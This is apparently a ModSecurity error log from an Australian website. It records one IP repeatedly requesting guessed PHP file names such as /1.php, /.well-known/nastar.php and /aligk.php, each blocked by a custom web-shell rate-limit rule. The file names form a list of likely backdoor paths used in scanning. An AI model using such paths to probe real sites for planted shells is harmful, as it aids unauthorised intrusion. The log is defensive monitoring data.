[Sun May 03 05:34:51.082752 2026] [:error] [pid 40639:tid 40722] [client 172.173.121.85:30262] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "afZt-69rkyoICq7qxvFk-QAAAJU"]
[Sun May 03 05:34:51.476523 2026] [:error] [pid 40638:tid 40692] [client 172.173.121.85:30216] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "afZt-_h3VcFjJ7H1mBapUAAAAFI"]
[Sun May 03 05:34:51.984770 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:30302] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "afZt-3WfIjnWjXCxeM4rpQAAAQg"]
[Sun May 03 05:34:52.473019 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:30331] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "afZt_HWfIjnWjXCxeM4rqAAAAQk"]
[Sun May 03 05:34:53.101246 2026] [:error] [pid 21934:tid 21953] [client 172.173.121.85:30322] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "afZt_XWfIjnWjXCxeM4rrgAAARE"]
[Sun May 03 05:34:53.675017 2026] [:error] [pid 40732:tid 40764] [client 172.173.121.85:30226] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2.php"] [unique_id "afZt_f1lQrIvlEdzcVcVWgAAANQ"]
[Sun May 03 05:34:54.159110 2026] [:error] [pid 40732:tid 40758] [client 172.173.121.85:5757] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "afZt_v1lQrIvlEdzcVcVXgAAAM4"]
[Sun May 03 05:34:54.664000 2026] [:error] [pid 40732:tid 40756] [client 172.173.121.85:5703] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "afZt_v1lQrIvlEdzcVcVYAAAAMw"]
[Sun May 03 05:34:56.115631 2026] [:error] [pid 40732:tid 40768] [client 172.173.121.85:30244] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "afZuAP1lQrIvlEdzcVcVYwAAANg"]
[Sun May 03 05:34:57.200666 2026] [:error] [pid 40732:tid 40748] [client 172.173.121.85:30240] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "afZuAf1lQrIvlEdzcVcVZwAAAMQ"]
[Sun May 03 05:34:59.007102 2026] [:error] [pid 40638:tid 40690] [client 172.173.121.85:6091] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "afZuA_h3VcFjJ7H1mBapWQAAAFA"]
[Sun May 03 05:34:59.960317 2026] [:error] [pid 40637:tid 40668] [client 172.173.121.85:30219] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "afZuA5B-U30YNJ6CyVg9LwAAABU"]
[Sun May 03 05:35:00.507067 2026] [:error] [pid 40637:tid 40658] [client 172.173.121.85:6080] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "afZuBJB-U30YNJ6CyVg9MAAAAAs"]
[Sun May 03 05:35:00.984848 2026] [:error] [pid 40637:tid 40655] [client 172.173.121.85:5123] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "afZuBJB-U30YNJ6CyVg9MQAAAAg"]
[Sun May 03 05:35:01.390867 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:30309] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "afZuBXWfIjnWjXCxeM4rvAAAAQk"]
[Sun May 03 05:35:01.956320 2026] [:error] [pid 21934:tid 21951] [client 172.173.121.85:30265] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "afZuBXWfIjnWjXCxeM4rvwAAAQ8"]
[Sun May 03 05:35:02.708084 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:30268] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "afZuBnWfIjnWjXCxeM4rwQAAAQg"]
[Sun May 03 05:35:03.679914 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:5697] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "afZuB3WfIjnWjXCxeM4rxwAAARY"]
[Sun May 03 05:35:04.819616 2026] [:error] [pid 21934:tid 21956] [client 172.173.121.85:30266] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "afZuCHWfIjnWjXCxeM4rzgAAARQ"]
[Sun May 03 05:35:06.946862 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:30209] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "afZuCnWfIjnWjXCxeM4r1AAAAQg"]
[Sun May 03 05:35:07.432306 2026] [:error] [pid 40637:tid 40655] [client 172.173.121.85:5717] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "afZuC5B-U30YNJ6CyVg9QAAAAAg"]
[Sun May 03 05:35:07.869065 2026] [:error] [pid 40732:tid 40750] [client 172.173.121.85:30317] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "afZuC_1lQrIvlEdzcVcVdAAAAMY"]
[Sun May 03 05:35:08.817633 2026] [:error] [pid 40638:tid 40691] [client 172.173.121.85:30270] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "afZuDPh3VcFjJ7H1mBapZAAAAFE"]
[Sun May 03 05:35:10.173828 2026] [:error] [pid 21934:tid 21950] [client 172.173.121.85:30235] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "afZuDnWfIjnWjXCxeM4r2QAAAQ4"]
[Sun May 03 05:35:13.301888 2026] [:error] [pid 40732:tid 40747] [client 172.173.121.85:30224] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "afZuEf1lQrIvlEdzcVcViQAAAMM"]
[Sun May 03 05:35:14.066033 2026] [:error] [pid 40732:tid 40768] [client 172.173.121.85:6143] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "afZuEv1lQrIvlEdzcVcVjgAAANg"]
[Sun May 03 05:35:14.795717 2026] [:error] [pid 40732:tid 40749] [client 172.173.121.85:30269] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "afZuEv1lQrIvlEdzcVcVlAAAAMU"]
[Sun May 03 05:35:15.310244 2026] [:error] [pid 40639:tid 40715] [client 172.173.121.85:30254] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "afZuE69rkyoICq7qxvFlDQAAAI4"]
[Sun May 03 05:35:15.855971 2026] [:error] [pid 21934:tid 21956] [client 172.173.121.85:6103] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "afZuE3WfIjnWjXCxeM4r4wAAARQ"]
[Sun May 03 05:35:16.284308 2026] [:error] [pid 40732:tid 40760] [client 172.173.121.85:6133] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/10.php"] [unique_id "afZuFP1lQrIvlEdzcVcVlgAAANA"]
[Sun May 03 05:35:16.702431 2026] [:error] [pid 40639:tid 40702] [client 172.173.121.85:6136] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "afZuFK9rkyoICq7qxvFlEAAAAIE"]
[Sun May 03 05:35:18.180702 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:30220] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "afZuFnWfIjnWjXCxeM4r6wAAARY"]
[Sun May 03 05:35:18.556080 2026] [:error] [pid 21934:tid 21952] [client 172.173.121.85:6083] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "afZuFnWfIjnWjXCxeM4r7QAAARA"]
[Sun May 03 05:35:19.014102 2026] [:error] [pid 21934:tid 21950] [client 172.173.121.85:30299] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "afZuF3WfIjnWjXCxeM4r8gAAAQ4"]
[Sun May 03 05:35:19.563579 2026] [:error] [pid 21934:tid 21937] [client 172.173.121.85:30271] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "afZuF3WfIjnWjXCxeM4r9wAAAQE"]
[Sun May 03 05:35:19.947981 2026] [:error] [pid 21934:tid 21942] [client 172.173.121.85:5733] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "afZuF3WfIjnWjXCxeM4r-wAAAQY"]
[Sun May 03 05:35:20.418026 2026] [:error] [pid 21934:tid 21950] [client 172.173.121.85:6108] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "afZuGHWfIjnWjXCxeM4r_gAAAQ4"]
[Sun May 03 05:35:21.159068 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:30228] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "afZuGXWfIjnWjXCxeM4sCAAAAQk"]
[Sun May 03 05:35:21.564994 2026] [:error] [pid 21934:tid 21936] [client 172.173.121.85:5172] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35_S.php"] [unique_id "afZuGXWfIjnWjXCxeM4sDQAAAQA"]
[Sun May 03 05:35:21.967011 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:5701] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35_S.php"] [unique_id "afZuGXWfIjnWjXCxeM4sEgAAAQg"]
[Sun May 03 05:35:22.430891 2026] [:error] [pid 40637:tid 40671] [client 172.173.121.85:5708] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35_S.php"] [unique_id "afZuGpB-U30YNJ6CyVg9TgAAABg"]
[Sun May 03 05:35:22.907964 2026] [:error] [pid 40639:tid 40706] [client 172.173.121.85:5713] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35_S.php"] [unique_id "afZuGq9rkyoICq7qxvFlEwAAAIU"]
[Sun May 03 05:35:23.288752 2026] [:error] [pid 40637:tid 40660] [client 172.173.121.85:5706] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "afZuG5B-U30YNJ6CyVg9UgAAAA0"]
[Sun May 03 05:35:23.716673 2026] [:error] [pid 21934:tid 21943] [client 172.173.121.85:5750] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "afZuG3WfIjnWjXCxeM4sFQAAAQc"]
[Sun May 03 05:35:24.154121 2026] [:error] [pid 21934:tid 21942] [client 172.173.121.85:6113] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "afZuHHWfIjnWjXCxeM4sFwAAAQY"]
[Sun May 03 05:35:24.543003 2026] [:error] [pid 21934:tid 21946] [client 172.173.121.85:6140] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2026w.php"] [unique_id "afZuHHWfIjnWjXCxeM4sGAAAAQo"]
[Sun May 03 05:35:25.002288 2026] [:error] [pid 40637:tid 40663] [client 172.173.121.85:6105] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "afZuHZB-U30YNJ6CyVg9WAAAABA"]
[Sun May 03 05:35:25.433534 2026] [:error] [pid 40638:tid 40677] [client 172.173.121.85:6118] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "afZuHfh3VcFjJ7H1mBapcwAAAEM"]
[Sun May 03 05:35:26.912652 2026] [:error] [pid 21934:tid 21957] [client 172.173.121.85:6134] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "afZuHnWfIjnWjXCxeM4sHQAAARU"]
[Sun May 03 05:35:27.301491 2026] [:error] [pid 21934:tid 21947] [client 172.173.121.85:30294] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "afZuH3WfIjnWjXCxeM4sIQAAAQs"]
[Sun May 03 05:35:27.768490 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:6100] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "afZuH3WfIjnWjXCxeM4sJAAAAQk"]
[Sun May 03 05:35:28.285362 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:30326] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "afZuIHWfIjnWjXCxeM4sJwAAARY"]
[Sun May 03 05:35:28.714966 2026] [:error] [pid 40732:tid 40759] [client 172.173.121.85:5160] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "afZuIP1lQrIvlEdzcVcVoAAAAM8"]
[Sun May 03 05:35:30.132878 2026] [:error] [pid 21934:tid 21941] [client 172.173.121.85:30313] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "afZuInWfIjnWjXCxeM4sLAAAAQU"]
[Sun May 03 05:35:30.511112 2026] [:error] [pid 40732:tid 40751] [client 172.173.121.85:30295] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "afZuIv1lQrIvlEdzcVcVowAAAMc"]
[Sun May 03 05:35:31.020481 2026] [:error] [pid 21934:tid 21937] [client 172.173.121.85:5754] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "afZuI3WfIjnWjXCxeM4sLwAAAQE"]
[Sun May 03 05:35:32.373312 2026] [:error] [pid 40638:tid 40678] [client 172.173.121.85:30253] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "afZuJPh3VcFjJ7H1mBapgwAAAEQ"]
